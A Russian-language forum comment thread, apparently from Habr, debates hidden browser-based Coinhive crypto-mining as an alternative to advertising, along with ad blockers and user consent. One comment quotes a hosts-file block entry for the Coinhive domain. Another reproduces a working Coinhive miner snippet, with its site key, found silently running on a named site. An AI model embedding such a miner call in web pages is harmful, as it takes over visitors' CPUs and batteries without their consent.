Comments 206
Мне жаль таких людей...
А вот когда меня что-то интересует — я это либо покупаю, либо планирую купить. Иначе это выглядит как манипуляция, мне не приятно. Для меня это как вклинивание в мою приватную жизнь. Я бы лучше смотрел на абсолютно рандомную рекламу.
Я могу понять почему это может не нравится кому-то, раз существуют адблоки, могу понять когда кому-то нужна анонимность вокруг которой столько шума. Я не могу понять когда кто-то поддерживая откровенно попсовое мнение пишет, что ему жаль тех, кто такое же мнение не поддерживает.
Когда мне что-то нужно, я это гуглю и покупаю, часто в тот же день. А потом ещё пару месяцев смотрю уже нерелевантную рекламу вещи, которую я уже купил. Фигня эта ваша таргетированная реклама, короче.
1) кто целевая аудитория сайта
2) на что тратят в основном деньги пользователи сайта
3) что вообще сейчас пытаются пользователям интернета впаривать
то есть, чисто из любопытства, это интересно. Персонализированная реклама убивает такую возможность. Она лишь дает мне понять, что обо мне думают RTB боты, но не дает доп инфы об окружающем мире.
И самое обидное, что даже отключив персонализацию, получаешь не глобальную картину, а некий срез самой дешевой рекламы за клик, которую суют неперсонализированным пользователям (и распределение будет радикально отличаться от модели, когда персонализации нет в принципе).
Вот я искал кофемолку и кофеварку. Вот я их купил. Вот прошло уже больше полугода, а Skype до сих пор мне предлагает купить еще одну. Такую же. Это в надежде, что старая сломалась? Или таргетинг кривой?
И так почти везде. Зашел не как аноним посмотреть новую АКБ к авто — будешь еще месяца 2 видеть крики на пол-листа — " У НАС ДЕШЕВЛЕ!!!"
Вы уверены, что именно в этом смысл рекламы?
Эсли я хочу посмотреть что там делают разные производители — я захожу на специализированные сайты и читаю об этом. В чем же проблема?
> И что значит манипуляция?
Примером вы хотите диван, но как-то решили, что потом, так как может вам он и не нужен. Но интернет теперь думает иначе — и диваны теперь везде и вы думаете о диване постоянно — и потом его покупаете. Понимая лучше человека, его привычки и слабые стороны, сетям удается больше продавать.
Очень полезно заходить на сайты и среди тонны рекламы искать нужную информацию? Может вам еще нравится музыка на сайтах?
Быть может, звучит бредово, но мне кажется, в какой-то мере данный тип рекламы всё ещё существует именно по вине тех пользователей, которые «надели розовые очки» дабы не видеть грязь. Но самая большая проблема в том, что такие пользователи задерживаются на «грязный ресурс» и это подсказывает поисковым системам якобы о хорошем сайте, которого нельзя исключить из результатов поиска.
Что касается постоянных посетителей или прямых заходов — люди не должны задерживаться на «грязные» сайты, а перейти на «чистый» сайт конкурента. Но чтобы отличить «грязные» сайты от «чистых», нужно увидеть всё «как есть» (то есть не использовать блокировщикии). При таком подходе, мы наказываем «грязные» сайты (понижаем позицию в результатах поиска, не задерживаемся, не приносим доход) и поддерживаем «чистые» сайты (повышаем позицию в результатах поиска, увеличиваем длительность сеанса, понижаем показатель отказов, приносим копеечный доход даже если не кликаем по рекламе).
Я более чем уверен, что в «реальной жизни» большинство людей поступают также. Например, они не возвращаются в кафе, где грязно, хамят клиентам или адски шумно. Они не надевают очки или наушники, чтобы скрыть всё это, а посещают другие, уютные кафе, где оставляют даже чаевые. Чем же хороший вебмастер отличается от хорошего официанта, и почему бы не «поддерживать» хороший сайт, если хотим избавиться от «грязи»… К тому же, почему так мало людей задумываются о том, что блокировщики рекламы рано или поздно заставят «хорошего» вебмастера бросить сайт или искать грязные методы монетизации, когда «плохой» вебмастер просто будет переключиться на альтернативные методы обмана…
Когда посетитель переходит на сайт из результатов поиска и сразу возвращается к выдаче чтобы перейти на следующий сайт
А как поисковая система может это обнаружить? Вот, получил я, значит поисковую выдачу, и давай средней кнопкой по ссылкам кликать. Какие-то вкладки не понравились — сразу закрываю, какие-то — заинтересовали, я их почитал, какие-то в это врямя висят открытые, потому что я до них ещё не добрался. Поисковую выдачу я всё это время не трогаю.
К тому же, далеко не все пользователи открывают несколько вкладок. Что самое странное (по крайне мере для меня), что некоторые люди даже не открывают ссылки в новом окне (по умолчанию в Google опция «Открывать результаты в новом окне» отключена).
Вот те люди кто зашли на сайт без блокировщиков и им не понравилась грязь — вот они во второй раз туда не придут, или придут уже с блокировщиком. А те кто регулярно ходят на грязный сайт и их это не смущает — они собственно и оплачивают работу сайта и участвуют в статистике которую мы видим. И судя по тому что такие сайты всё ещё существуют — таких людей достаточно много!
Что касается тех, кто регулярно ходят на грязные сайты — не знаю, почему они этого делают, но как уже отметил выше, я знаю, откуда и «благодаря кому» на такие сайты попадают новые посетители.
А большинством оно и не будет никогда. Большинству пох.
И именно поэтому никакой особой войны между рекламой и блокерами нет. И уж точно блокеры ее не выиграют. Просто потому что большинство юзеров не юзает блокеры. Т.е. 90% ландшафта все равно остаются за рекламщиками.
И именно поэтому на своих 10% территории я и другие юзеры блокеров имеем полное моральное право блочить без излишних многоумных рассуждений.
Мне дороже мое время и ресурсы моего ПК, которые совсем не безграничны.
Придерживаюсь мнения, что если товар/магазин рекламируется, и товар, который мне нужно, можно купить где-то ещё, в не-рекламируемом месте будет дешевле. Как правило, так и выходит, ибо вторым не нужно вкладываться в рекламу, достаточно просто обеспечить находимость товара при соответствующем поисковом запросе.
Поэтому, в поседнее время я стал замечать что в магазинах крайне мало подробной информации о товаре, особенно однозначно идентифицирующих товар - может отсутствовать полное наименование модели... мультиварка.... какая модель? покупай, это же мультиварка, что тебе еще надо, кроме внешнего вида? Особенно и давно этим грешит Китай... искать аналогичный товар невозможно, ибо остается только гуглить что-то неконкретное вроде "фонарик" в надежде найти иголку в стогу сена, и в итоге оказывается что первые 10 страниц выдачи ведут все в одно место.
У юблока даже в описании заявлено, что это больше, чем просто списочный блокер рекламы. :)
Но и с точки зрения «поставил и забыл» — юблок тоже хорош сам по себе. Если что-то вдруг понадобится обуздать, то в нем почти все нужное для этого есть.
Хотя… на подходе motherboard.vice.com/en_us/article/9a4yny/princetons-ad-blocking-superweapon-may-put-an-end-to-the-ad-blocking-arms-race
В конце-концов, каждое изображение и/или объект сайта будь-то статья или картинка или реклама могут запрашиваться с сервера по длинному хешу и поди определи по запросу что это рекламный баннер или полезный документ. И списки блокировки резко станут неэффективными чуть более чем полностью.
А вот когда появится супероружие по ссылке, то придется, конечно, напрячься рекламщикам, и проявлять креатив.
PS: лично я даже поставил бы галочку в блокировщиках «готов майнить, нагружая 20% процессора», если бы она была. Мне мое личное время дороже процессорного времени. Без хоть какого-то win-win победа блокировщиков призовет пейволы, и проиграют все.
PPS: Хотя… против пейволов можно создать р2р сеть, которая будет кешировать контент, и после первого просмотра страницы участником сети, оплатившим пейвол, давать доступ всем…
Хотя… против пейволов можно создать р2р сеть, которая будет кешировать контентИ тогда будут ватермарки добавлять в контент и автоматом банить аккаунты, с которых он утекает.
Так что можно не переживать по этому поводу особо. Вся война идет только для 10% зрителей-гиков ;-)
Но, подход, как у Shine, позволит довести 10% до 50 очень быстро. Если идею возродят, то там потенциал очень большой. Как по проникновению технологии — операторы будут включать функцию по умолчанию, чтобы разгрузить базовые станции, так и по эффективности — на централизованных серверах можно установить фермы из графических ускорителей, которые будут выявлять новый баннер (креатив) 1 раз, отличая его от котиков и картинок, после чего вырезать со всех страниц всех юзеров, задействуя минимум мощности.
А вообще да, как и любая тема, дающая превосходство над большинством, для гиков лучше всего, что банерорезки ставили только гики
а если мне туда только на один раз?Схватить трояна можно и за «один раз». Обычно, когда кликаешь на заражённый сайт, просходит несколько редиректов на странные домены, либо эксплойты подгружаются не напрямую, а тоже с других доменов.
Да, неудобно лишний раз кликать в подтверждение каждого редиректа или каждой подгрузки с другого домена, но гигиена того стоит.
P.S.: Не обязательно ставить все. Достаточно будет выбрать какое-то одно и настроить его.
У меня нормально получилось подружиться с RequestPolicy Continued. С uMatrix, так и не смог заставить habr нормально выглядеть и пару других сайтов.
0.0.0.0 coin-hive.com
Хотя в документации дополнительно указано, что можно задать время бездействия для этих потоков
coin-hive documentation
throttle
у которого значение от 0
до 1
, указывает сколько ресурсов оставить пользователю. На реддите также «попросили» не майнить на ноутбуках которые не заряжаются www.reddit.com/r/Monero/comments/71okng/some_advice_for_all_you_guys_using_coinhiveЧто бы понять, что стало слишком уж сильно тормозить (и надо попросить кого-то помочь), грамотность не нужна.
(пардон за дубль комментария, хотя и статья по сути тоже дубль :) )
Как по мне, это гораздо лучше баннеров даже сейчас (исключая смарты с их дохлыми аккумуляторами, разве что). Потому что доход идет напрямую владельцу сайта, поставившего майнер вместо рекламы или капчи, а не левым рекламщикам, которые, к тому же, трекингом занимаются. А этот майнер почти ничего не отслеживает, судя по его описанию.
Само собой, это все не оправдывает тех сайтоводов, которые втихую такое могут крутить и не прописывать в условиях.
Будет жаль, если их внесут в черные списки, станет только хуже — куча самописных поделок без разделения ресурсов.
Я тоже считал, что можно заработать с этого майнера, при этом не вредя пользователям.
Есть у меня маленький сайтец с 800 униками в день. Они генерят около 6-7 тыс. просмотров и проводят на сайте… ну не пять минут, но и не часы.
Так вот за месяц при ограничении нагрузки от майнера до 5% на таком сайте можно заработать аж 150 руб. за месяц :) Больше — вред пользователям, да и прибыль увелчится довольно слабо.
Есть второй сайт, который еще в разработке. Там предоставление услуг, тарифы 75/175/275 руб. в месяц. Проработал идею «намайните себе на тариф» и понял, что либо человеку прийдется майнить месяц, либо мне это не выгодно. Но кто будет гонять месяц свой компьютер ради 75 руб.?
Итого, таким способом можно действительно заработать только на очень посещаемом ресурсе, на котором пользователи проводят очень много времени. Но, как правило такой ресурс (если он легальный) предоставляет какие-то услуги или продает адекватную рекламу и зарабатывает больше.
Все нужно пробовать самому: давно и на многих сайтах есть фича «Заметили ошибку в тексте? Выделите ее и нажмите Ctrl+Enter в своем браузере». Однако по поводу нередких опечаток в статьях на Хабре такая фича не используется до сих пор — «ну, значит, есть на то веские причины!..» (с)
а Хабре такая фича не используется до сих порОчевидно же. Кому понравится, если твою статью отредактирует администрация. А если перенаправлять оповещения автору (и автор уже давно забил на Хабр), у пользователей будет непонятка: как так, я отправил, а никто не исправляет.
Но Денискину виднее — тут нет даже предмета для спора.
Такой скрипт должен через бэкэнд направлять оповещение автору статьи (личным сообщением). А уж что там — решит автор исправить или не решит…
Т.е., имхо тут все точно так же, как и с монетизацией Телеграм: пока нет ответа на правомерный вопрос «откуда [будут] деньги, Зин?», доверять безоглядно таким проектам — просто глупо. А теперь еще и Розенберг разворошил гнездо, а до того Перекопский тоже много интересного наговорил.
Некоторые виды криптовалют эффективно майнятся только на CPU.
в файрфоксе с демандным флэшом очень хорошо видно, как его нет
не рисует картинку почему-то prntscr.com/gq9waa
Вот.
Да как-то без проблем. Просто вручную разрешаю только скрипты с определённых доменов — минимальное количество скриптов для функционирования сайта. В подавляющем большинстве случаев нежелательные скрипты грузятся со сторонних доменов, поэтому мой способ работает.
Ну и второй уровень защиты в виде ABP (с ручным же фильтрами) никто не отменял.
Земной поклон тем вебмастерам, которые строят все важные динамические вещи, типа меню, на голом CSS+HTML, позволяя просто наслаждаться контентом, ну а лучи диареи тем, кто использует особо упоротые шкуры для CMS, без скриптов показывающие только белый экран. %)
Плюс ну не научились многие во фронтенд сообществе искать максимальный элемент в массиве кроме как его сортировкой, причём сортируют сами и пузырьком, ну бывает.
При чем тут это? Гомно-кодеры есть везде.
Ах да, я забыл, у нас же наоборот, JavaScript теперь ещё и в бэкэнде…
И? Так можно рассуждать про все, что не ассемблер.
А тут ещё и майнеры…
… которые написаны на WebAssembly
А нельзя ли 90% того, что сейчас делается на JavaScript перенести в следующий стандарт HTML, а в новых версиях браузеров по умолчанию отключать JavaScript?
Нельзя. Динамичные страницы например это вообще сложная тема...
При чем тут это? Гомно-кодеры есть везде.
Но вот распределены они почему-то неравномерно. Надеюсь, Вы не будете спорить, в какой области их больше?
И? Так можно рассуждать про все, что не ассемблер.
Почитайте тут
А тут ещё и майнеры…
… которые написаны на WebAssembly
Значит по умлочанию блочим любой активный контент. Если пользователю реально нужен гавнокод на этой странице, он внесёт её в белый список.
Нельзя. Динамичные страницы например это вообще сложная тема…
Что-то мне подсказывает, что можно уложиться в десяток-другой типовых сценариев.
А нельзя ли 90% того, что сейчас делается на JavaScript перенести в следующий стандарт HTML
тогда это будет не htmL
и начнут на нём писать виртуалки и майнеры
Что мне кажется действительно хорошей идеей, так это продажа софта за «криптовремя».Например я хочу себе лицензию adobe photoshop, платить не хочу, копания говорит мне ок держи лицензию, но мы будем майнить с твоего ПК до того момента пока не отработаем свои деньги.Так же добавить функцию регулировки нагрузки или выбора времени в которое программа будет майнить.В результате мой ПК по стоит пару ночей включённым, я получаю софт бесплатно, а разработчики получат свою прибыль.
Может пример с фотошопом не самый удачный, но продавать игры за «криптовпемя» можно спокойно, так как железо у геймеров достаточно неплохое.
Чтобы намайнить gta 5 нужно манить месяц на нескольких видеокартах.
Я думаю всё же поламали сайт, иначе скрипт удобней тянуть с другими ресурсами сайта.
Просто надо браузерам встроить систему с настройками для майнинга на конкретных сайтах ( как всплывающие сообщения).
Сайт.ru запрашивает возможность майнинга на ваших процессорах (50% загрузки) сроком на 1 час. Разрешить/Запретить.
Не пойму, почему все так переполошились. Не вижу разницы между этими майнерами и просто тормозным рекламным баннером — от обоих одинаковый результат в плане лагов, оба одинаково режутся noscript'ом или спаморезками — вобщем, ничего нового. Только этот в отличие от баннера не создает визуальное раздражение, если его не порезать.
Тихий ужас для мобильников и планшетов, ладно десктопы и ноуты где можно поставить блокировщики,NoScript, прописать список dns в старом добром bind на роутере или в /etc/hosts.
На мобилке мало адекватных блокировщиков, без рута фиг настроишь iptables и dns, о майнинге узнаешь только тогда, когда батарея кончиться, посмотреть что напихал сайт в твой мобильный хром или лису сложновато без кое-каких инструментов. Так что ждем веселье для бедных пользователей смартфонов когда лагать будет даже оболочка.
Сафари на мак-устройствах ставит фоновые вкладки на паузу. Лично столкнулся.
Пусть даже и ограничивает, одной активной вкладки с майнером и 5-и которые в фоне "приторможенные" один фиг могут посадить батарею, а обычный юзверь может открыть и все 20-50 вкладок (видел у жены брата и у своей матери).
Фанатам лиса даже на мобиле (вроде меня, подкупили режим чтения — он ИМХО удобен даже для хабра) походу точно придется страдать — и так не держу больше 10 вкладок а если с майнингом то вообще полный лисец будет.
Еще интересно как на этот майнер отреагируют старые устройства с устаревшим хромом или вообще стоковым webview который не хром (как на моей старой ZTE) учитывая что они бывают даже при звонках виснут уже.
Насчет прыжков по страницам. Во время пика популярности SPA этот скриптик выглядит еще привлекательнее.
А за рекламу почему не надо? Чем майнинг неэтичнее рекламы?
По электроэнергии?
По мне, так модель "вы нам ничего не платите, но мы тут будем втихую вами торговать" одинаково включает себя как большинство рекламы так и описанный в этой статье майнинг, и модель эта глубоко аморальна, и именно поэтому с ней стоит бороться.
Те же, кто печётся только об электроэнергии и прочих "потребительских качествах" и готовы были жрать рекламу, по-моему заслуживают и майнеров и вообще любых манипуляций над своими устройствами со стороны тех, кому они уже отдались.
по-моему заслуживают и майнеров и вообще любых манипуляцийА давайте вы не будете за других решать?
Я вот, например, не блокирую рекламу потому, что ни один из сайтов, которые я посещаю хотя бы раз в год, не использует дикое ее количество или слишком навязчивых баннеров (собственно, самый агрессивный в плане рекламы из посещаемых мной сайтов — хабр).
Но я категорически не согласен с тем, что тот факт, что я не блокирую рекламу, позволяет кому угодно майнить на моем ноуте, обжигая мне колени и уменьшая время работы от аккумулятора с полутора часов до 30-40 минут.
Вы просто закрываете глаза на механизм работы всей этой системы. Проследите направление денежных потоков и "одолжений" и всё станет очевидно. Владелец сайта так или иначе платит за его поддержку (арендуемый хостинг либо поддержка своего + разработка), владельцу сайта платят рекламодатели/майнеры.
В случае с майнерами всё очевидно — платите за их работу напрямую вы, деньгами за электричество и дискомфортом от перегретого ноута — это вы заметили и негодуете.
В случае с рекламодателями чуть сложнее — лично вы может и не платите, но так или иначе имеется расчёт на лоха, который поддастся рекламе и оплатит рекламодателю его расходы на рекламу, купив у него что-то. То есть, если не вдаваться в частности, то платят всё так же посетители сайта, просто более глупые (кто повёлся на рекламу) платят за всех.
Эту более сложную цепочку вы видимо до конца не проанализировали и поэтому не заметили всей её сути, которая ничем от майнеров не отличается, кроме, возможно, кпд.
Эту более сложную цепочку вы видимо до конца не проанализировалиНет, я замечательно проанализировал всю эту цепочку.
Я периодически покупаю что-нибудь после клика по рекламе — если она достаточно персонализирована, то умудряется предлагать полезные вещи. Это не говоря уже об опосредованной пользе в виде ускорения экономики.
Но, собственно, даже если и принять тезис о том, что реклама — это тоже дискомфорт для пользователя и своеобразный вид оплаты, каким образом это подтверждает первое утверждение
по-моему заслуживают и майнеров и вообще любых манипуляций над своими устройствами?
Это типа как «если вы согласны купить машину за наличные рубли, то, по-моему, вы заслуживаете того, чтобы у вас отобрали все доллары на счетах»
каким образом это подтверждает первое утверждение
Тут есть целых два обоснования.
1) Мне казалось, что когда кому-то что-то нужно, он не нуждается в рекламном подталкивании к покупке этой вещи, а сам её найдёт и выберет у кого собственно покупать. Вы же позволяете собой манипулировать, выбирать за вас что вам нужно (да, сами потом делаете итоговый отсев — это принять, это нет, но список составляете не вы), и называете это благом. Итого, раз вы согласны быть ведомым в данном взаимодействии, то не надо возмущаться, когда очередное решение "за вас" о ваших потребностях (дать вам майнер) вдруг выбилось из привычного ритма.
2) Участвуя в этой системе, толерантно к ней относясь, вы поддерживаете её не только для себя, а для всех. Потому как данная модель так называемой "монетизации" продолжает эксплуатироваться только потому, что есть такие пользователи, которые за неё платят, ходя по незапрошенным рекламам (иначе говоря, спаму). И если даже вам нравится такое положение дел, кому-то другому оно может не нравиться (и думаю многим), а вы находитесь в числе тех, кто это положение дел поддерживает. В конце концов, думаю можно заказать себе персонально пачку рекламных баннеров для просмотра (вдруг там что-то полезное прорекламируют) — денег с вас за это не возьмут, а может даже и дадут (за просмотр), совсем не обязательно провоцировать не-рекламные сайты на их размещение у себя в принудительном порядке.
Это типа как «если вы согласны купить машину за наличные рубли, то, по-моему, вы заслуживаете того, чтобы у вас отобрали все доллары на счетах»
Нет, этот пример совсем не в тему. Покупка чего-то за рубли это не негативное действие (по крайней мере в моём понимании). Но кому-то может и негативное — тогда да, он может захотеть отобрать счета в отместку.
В обоих этих случаях реклама решает вопрос более удобного ИНФОРМИРОВАНИЯ меня о существовании нового товара. По-вашему, разумный человек на моем месте должен постоянно мониторить весь рынок ресторанов и несколько раз в день искать в куче источников вакансии (не планируя сменить работу)?
И это не имеет ни малейшего отношения к вопросу принятия «за меня» какого-либо решения. Я против принятия решения «за меня» как в майнинге, так и при покупке какого-либо товара.
2). Реклама, вообще-то, решает очень важные общественные проблемы. Без нее мир был бы гораздо хуже.
Вот представьте себе: вы открыли ферму и хотите арбузы продавать. Сидите себе дома на 100 арбузах, а прибыли почему-то нет. Как прибыль получить? Нужно привлечь покупателя. Или вывеску сделать рядом с домом, или другу позвонить и предложить купить арбуз, или еще чего. И все это — виды рекламы. Без рекламы современная экономика просто не может существовать.
А пример тут очень даже в тему. Вы почему-то считаете, что раз я согласен на один способ оплаты (просмотр рекламы), причем осознанно (ибо с сайта с кучей баннеров я тупо уйду), то с какого-то перепугу я должен быть согласен и на другой способ оплаты (майнинг), причем без уведомления. В примере с автомобилем то же самое: я согласен лишь на один вид оплаты (наличные рубли), и лишь добровольно в пользу продавца автомобиля, а не на любой другой (безналичные доллары) в пользу третьих лиц без уведомления.
1) Не уводите тему в сторону. Я ничего не говорил против абстрактных "вывесок" и против абстрактной рекламы вообще. Я говорил против рекламы в том формате, как она сейчас используется большинством сайтов. Информирование — норм, плохо когда оно реализуется в роли паразита к другим услугам.
По-вашему, разумный человек на моем месте должен постоянно мониторить весь рынок ресторанов и несколько раз в день искать в куче источников вакансии (не планируя сменить работу)?
Ну так когда захотите — откроете справочник по ресторанам/вакансиям и найдёте что надо, выбрав из всего списка вариантов, а не из того, что вам подсунули.
2) Про вывески — уже ответил.
в пользу третьих лиц без уведомления.
Дело не в уведомлении, а в предварительном согласии. Мне кажется, что даже если вас уведомят о конфискации ваших счетов, вы не станете от этого поддерживать данную затею. А вот если спросят заранее — не хотите ли пожертвовать? — тогда совсем другое дело. И пусть лично вы предварительное согласие на получение рекламы дали (хоть у вас никто и не спрашивал, но если вас это устраивает, то ок), то остальные могли и не давать, а им всё равно её впаривают.
когда захотите — откроете справочник по ресторанам/вакансиямЯ всегда хочу найти что-то более эффективное, чем то, что у меня есть на сегодняшний день, но обычно это более эффективное просто отсутствует на рынке, поэтому нет никакого смысла в ежедневном перерывании всех справочников. А реклама позволяет мне узнать о том, в какой справочник глядеть. Ибо без нее я «не знаю, чего я не знаю».
Вот пример выше с тренингом по предпринимательскому делу — я был очень давно заинтересован в том, чтобы послушать пару слов на эту тему от опытного человека, которому я доверяю, и за очень небольшие деньги. Только вот такого человека никогда не было, и каждый день опрашивать всех знакомых предпринимателей на эту тему было бы глупо. А увидев баннер, я узнал, что теперь в моей доступности появилась возможность воспользоваться такой услугой, что я с радостью и сделал.
А насчет последнего абзаца — да, проблема предварительного согласия существует, и я допускаю, что может существовать множество тех, кто согласия на просмотр рекламы не давал. Но, на мой взгляд, тот факт, что я дал согласие на просмотр рекламы (кстати, есть сайты, где у меня запросили такое согласие и я его явно дал — скажем, stackoverflow), никоим образом не означает, что я давал согласие на майнинг.
Единственное, с чем я спорю — это с фразой
заслуживают и майнеров и вообще любых манипуляций над своими устройствамиПусть каждый решает сам, что для него лучше, а что хуже. Для меня хуже майнинг.
б) Делают площадки для сбыта рекламного контента, под видом см. пункт а.
PW7FI1VfOmLOORjnVtJqS62MdJTJFiOl — это кошелек ??
Где-то можно узнать сколько на него уже "накапало" ?
Это некий site key, выдаваемый пулом. Впрочем, в Monero баланс чужого кошелька увидеть тоже нельзя (если владелец не опубликовал свой view key), т.к. все транзакции шифруются.
А мне нравится идея. Для некоторых сайтов она очень даже хороша: ютуб, онлайн фильмы и сериалы, возможно музыка, если добавить ограничение на мощность майнинга. Онлайн игры.
Согласитесь, если у вас просто так простаивает CPU, и у вас есть выбор посмотреть фильм с майнером, вместо раздражающей рекламы, то это неплохой вариант. Главное чтобы там была галочка мол "Я согласен что отдаю процессорную мощность" чтобы майнер включался только с разрешения.
Вдобавок в статье не сказано про функционал предоставляемый этим же сервисом:
- Captcha, которая работает на Proof-of-work — вместо "Выберите все знаки, чтобы доказать что вы не робот" вы говорите "помайни 1024 хеша"(например) — как итог — спаммерам невыгодно, а пользователям не приходится "Выбирать все изображения на которых изображены Дорожные Знаки/Вывески магазинов".
- ShortLink — вместо шортлинка с рекламой — шортлинк с майнером. Тут смешанные чувства. Кому как удобнее.
- Ну и сам майнер. Да он майнит в бекграунде, и это плохо. Но: у него настраивается количество ядер для майнинга, у него есть "учёт" хешей намайненых пользователем. Как результат: можно настроить "оплату" контента сайта в хешах. Например минута видео 2048 хешей. После этого майнер останавливается/считает хеши для следующей минуты.
Я считаю это хорошей альтернативы для некоторых сайтов(про окупаемость молчу. Далеко не везде окупится + цены маленькие), потому что иногда загрузка CPU лучше AdWall'ов.
ИМХО: Идея хорошая, но пока ещё сырая. Как добавят возможность частичной загрузки процессора, чтобы не отжирать весь CPU на 50 вкладок и сайты начнут делать ограничения хешей на пользователя — это будет лишь раздражать
Поэтому coinhive использует Monero — с ним выходная, мощность у видеокарты всего ~ в 2 раза больше чем у процессора
Речь о замене рекламы, а не самой цены.
Есть сервисы которые позволяют смотреть лицензионные фильмы/сериалы с рекламой или по подписке.
Т.к. реклама отвлекает, то ее можно заменить более удобным способом.
Про игры речь о Ф2П и опять же как альтернатива рекламе
А так вроде бы и сервису даешь возможность подзаработать и мне ничего не мешает.
p.s. это при условии, что я только смотрю(ищу) сериал, и больше ничего не делаю.
Было бы наверно не плохо если бы перед просмотром фильма открывалось окном, в котором у меня спрашивали «Разрешаю ли я запуск майнера на время просмотра фильма?»
Но есть проблема, не на всех сайтах с подпиской есть те сериалы/фильмы которые я хочу смотреть. Так как такие сайты в основном покупают лицензию только на самые популярные сериалы/фильмы.
Да и дело то даже не в этом. Тут дело в выборе меньшего из двух зол(это при условии, что я хочу помочь данному сервису, например потому, что у него хороший функционал и я не хочу, чтобы он закрылся)
— смотреть на рекламу с шок-контентом
— разрешить майнинг
То в этой ситуации я бы выбрал второе.
Однако здесь встаёт всегда вопрос о том, сколько мощности я могу использовать (о чем выше упоминал bopoh13), я собственно тоже не против был бы отдавать свою вычислительную мощность, но с условием что комп не врубает вентилятор для охлаждения (по непонятной причине у меня начинается нервный тик).
Раз уж был комментарий о отраслях монетизации, то я за старую не таргетированную рекламу (а то дико бесит на сайте с рецептами видеть рекламу JetBrains, который и так уже приобретен)
var miner = new CoinHive.User('FAHWUn8ElGwSvAvLLK03guaCaQmHQi2m', 'lib');
miner.start();
Самое смешное, что это корявый сайт электронной библиотеки. Хром был доволен, сайт висел пару часов, пока не зашумел куллер cpu.
Сайт:http://www.info-library.com.ua/
Скрытый JS-майнинг криптовалюты на сайте: альтернатива рекламе или новая чума